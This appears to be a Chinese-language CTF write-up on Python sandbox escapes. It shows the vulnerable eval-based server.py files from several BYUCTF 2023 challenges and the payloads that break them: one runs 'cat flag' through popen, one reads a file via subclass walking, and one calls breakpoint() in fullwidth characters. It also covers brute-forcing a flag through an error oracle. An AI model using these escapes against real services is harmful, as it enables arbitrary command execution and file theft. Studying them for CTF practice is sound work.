type([])(‘test’) == list(‘test’) –> [‘t’, ‘e’, ‘s’, ‘t’]

bytes 的切片数据类型为 int
a = b’test’
type(a) –> “bytes”
type(a[0]) –> “int”
a[0] ^ 1 –> 117

来自学长部分 payload

  • 非预期解（运气好，静态flag，费时）

通过 flag.join(flag).split(flag) 可以得到单个字符构成的 list
通过 list.pop() 弹出元素，然后切割 flag，确定弹出元素所在的位置
可以通过分割后 list 元素的数量判断重复次数，通过单个元素的长度判断 单个字符的位置
到最后就只能硬猜了，运气好，就猜了 4 次

  • 预期解
type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})


i => flag 单字符位置
guess => num 猜测字符的 ascii 码
当相等时 return NoneType，当不相等时 报错，然后开始爆破

  • 优化预期解
type(flag.split())(type(flag.split())(flag).pop({}).encode()).remove({})

BYUCTF 2023 Builtins 1

  • server.py
print(eval(input("code> "), {"__builtins__": {}}, {"__builtins__": {}}))
  • payload
().__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('cat flag').read()

BYUCTF 2023 Builtins 2

  • server.py
inp = input("code> ")[:72]
if "__" in inp:
    print("Nope")
else:
    print(eval(inp, {"__builtins__": {}}, {"__builtins__": {}}))
  • payload
().__class__.__base__.__subclasses__()[119].get_data('', path=r'flag.txt')

BYUCTF 2023 a-z0-9

  • server.py
eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])
  • payload
ｂｒｅａｋｐｏｉｎｔ()
PyJail
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Source: github.com/k4yt3x/flowerhd
	

	

		
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